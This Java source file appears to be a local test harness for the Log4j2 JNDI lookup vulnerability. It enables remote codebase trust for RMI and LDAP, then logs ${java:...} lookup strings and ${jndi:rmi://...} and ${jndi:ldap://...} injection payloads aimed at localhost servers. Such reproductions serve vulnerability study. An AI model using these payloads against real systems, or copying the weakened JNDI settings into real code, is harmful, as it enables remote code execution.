package com.imddy.testlog4j2;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Application {

	private static Logger log = LogManager.getLogger(Application.class);

	public static void main(String[] args) throws Exception {

		System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
		System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
		
		String username = "zhangsan";
		String username1 = "${java:vm}";
		String username2 = "${java:version}";
		String username3 = "${java:runtime}";
		String username4 = "${java:os}";
		String username5 = "${java:locale}";
		String username6 = "${java:hw}";
		
		String username7 = "${jndi:rmi://127.0.0.1:1099/obj}";
		
		String username8 = "${jndi:ldap://127.0.0.1:2099/a}";
		
		
		log.info("user: {}", username);
		log.info("user: {}", username1);
		log.info("user: {}", username2);
		log.info("user: {}", username3);
		log.info("user: {}", username4);
		log.info("user: {}", username5);
		log.info("user: {}", username6);
		
		log.info("user: {}", username7);
		
		log.info("user: {}", username8);
		
	}
	
}
